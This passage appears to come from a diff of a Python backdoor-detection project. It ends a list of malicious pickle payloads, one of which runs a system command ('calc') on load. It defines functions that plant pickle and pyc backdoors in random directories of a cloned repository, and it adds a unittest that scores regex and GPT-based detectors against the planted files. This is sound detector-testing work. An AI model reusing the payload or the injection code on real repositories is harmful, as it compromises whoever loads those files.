b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02(X\x05\x00\x00\x00adminq\x03\x88X\x05\x00\x00\x00guestq\x04\x89ubcnt\nsystem\np0\n(Vcalc\np1\ntp2\nRp3\n.'
]
def inject_pickle_backdoor(root_path: str) -> None:
"""
Generate a pickle backdoor and insert it into the specified path.
Args:
path (str): The path to the repository to insert the backdoor into.
"""
all_path = [str(p) for p in Path(root_path).glob("*") if p.is_dir()]
paths = random.sample(all_path, random.randrange(1, len(all_path)))
for path in paths:
backdoor_id = random.randrange(0, len(backdoors_pickle))
backdoor = backdoors_pickle[backdoor_id]
filename = os.path.join(path, f"backdoor{backdoor_id}.pickle")
with open(filename, "wb") as f:
pickle.dump(backdoor, f)
def inject_pyc_backdoor(root_path: str) -> None:
"""
Generate a pyc backdoor and insert it into the specified path.
Args:
path (str): The path to the repository to insert the backdoor into.
"""
all_path = [str(p) for p in Path(root_path).glob("*") if p.is_dir()]
paths = random.sample(all_path, random.randrange(1, len(all_path)))
for path in paths:
backdoor_id = random.randrange(0, len(backdoors))
backdoor = backdoors[backdoor_id]
py_filename = os.path.join(path, f"backdoor{backdoor_id}.py")
pyc_filename = os.path.join(path, f"backdoor{backdoor_id}.pyc")
with open(py_filename, "w") as f:
f.write(backdoor)
py_compile.compile(py_filename, cfile=pyc_filename)
os.remove(py_filename)
if __name__ == "__main__":
repo_url = "https://github.com/TheAlgorithms/Python.git"
clone_dir = "/tmp/repo"
clone_repo(repo_url, clone_dir)
inject_random_backdoor(clone_dir)
inject_pickle_backdoor(clone_dir)

168
tests/test_final_tests.py Normal file
View File

@ -0,0 +1,168 @@
import time
import unittest
import shutil
import os
import threading
import re
from detection.utils import read_file_content
from .final_tests_util import (
clone_repo,
Path,
inject_pickle_backdoor,
inject_random_backdoor,
inject_pyc_backdoor,
backdoors,
)
from detection.Regexdetection import find_dangerous_functions
from detection.GPTdetection import detectGPT
def GPTdetectFileList(fileList):
results = []
threads = []
for file in fileList:
content = read_file_content(str(file))
threads.append(threading.Thread(target=GPTThread(), args=(content, results)))
for thread in threads:
thread.start()
time.sleep(0.5)
for thread in threads:
thread.join()
return results
def GPTThread(content, results):
try:
results.append(detectGPT(content))
except Exception as e:
print(e)
class TestFinalTests(unittest.TestCase):
def setUp(self) -> None:
self.path = "./tmp/repo/"
shutil.rmtree(self.path, ignore_errors=True)
if not os.path.exists("/tmp/Python/"):
clone_repo("https://github.com/TheAlgorithms/Python.git", "/tmp/Python")
shutil.copytree("/tmp/Python", self.path)
sampleRate = 0.1
# TODO
# preproccessing
self.inject_result = inject_random_backdoor(self.path, sample_rate=sampleRate)
self.pickle_true_num = inject_pickle_backdoor(self.path)
self.pyc_true_num = inject_pyc_backdoor(self.path)
self.injectedNum = len(self.inject_result)
print(self.injectedNum)
project_path = Path(self.path)
self.all_python_files = list(project_path.rglob("*.py"))
self.py_files_num = len(self.all_python_files)
all_pickle_files = list(project_path.rglob("*.pickle"))
self.pickle_files_num = len(all_pickle_files)
all_pyc_files = list(project_path.rglob("*.pyc"))
self.pyc_files_num = len(all_pyc_files)
os.system(
"python -m detection " + self.path + " -o " + self.path + "output.txt"
)
def test_final_tests_pycode(self):
# test backdoor code in python files
detectedNum = 0
possibly_dangerous_file = []
for file in self.all_python_files:
content = read_file_content(str(file))
results = find_dangerous_functions(content, ".py")
if (
len(results["high"]) > 0
or len(results["medium"]) > 0
or len(results["low"]) > 0
):
detectedNum += 1
possibly_dangerous_file.append(file)
print(detectedNum / self.py_files_num)
GPTdetectedNum = 0
for i in possibly_dangerous_file:
content = read_file_content(str(i))
results = {}
try:
results = detectGPT(content)
if (
len(results["high"]) > 0
or len(results["medium"]) > 0
or len(results["low"]) > 0
):
GPTdetectedNum += 1
print(GPTdetectedNum)
except Exception as e:
# print(e)
pass
# test injected code
with open(self.path + "output.txt", "r") as f:
lines = f.readlines()
injected_detected_num = 0
injected_correct_num = 0
pattern = r"\w+\.py: Line \d+: (.+)"
for line in lines:
if "py:" in line:
injected_detected_num += 1
match = re.search(pattern, line)
command = ""
if match:
command = match.group(1)
for backdoor in backdoors:
if command in backdoor:
injected_correct_num += 1
break
injected_accurency = injected_detected_num / self.py_files_num
print(f"injected files accurency: {injected_accurency}")
try:
GPTresult = GPTdetectFileList(possibly_dangerous_file)
for result in GPTresult:
if len(result) > 0:
GPTdetectedNum += 1
print(GPTdetectedNum)
self.assertGreaterEqual(GPTdetectedNum, detectedNum)
except Exception as e:
# print(e)
pass
# test pickle files
with open(self.path + "output.txt", "r") as f:
lines = f.readlines()
pickle_detected_num = 0
pickle_correct_num = 0
for line in lines:
if "pickle" in line:
pickle_detected_num += 1
if re.search(r"backdoor\d*\.pickle", line):
pickle_correct_num += 1
pickle_accurency = pickle_detected_num / self.pickle_true_num
print(f"pickle files accurency: {pickle_accurency}")
# test pyc files
with open(self.path + "output.txt", "r") as f:
lines = f.readlines()
pyc_detected_num = 0
pyc_correct_num = 0
for line in lines:
if "pyc" in line:
pyc_detected_num += 1
if re.search(r"backdoor\d*\.pyc", line):
pyc_correct_num += 1
pyc_accurency = pyc_detected_num / self.pyc_true_num
print(f"pyc files accurency: {pyc_accurency}")
if __name__ == "__main__":
unittest.main()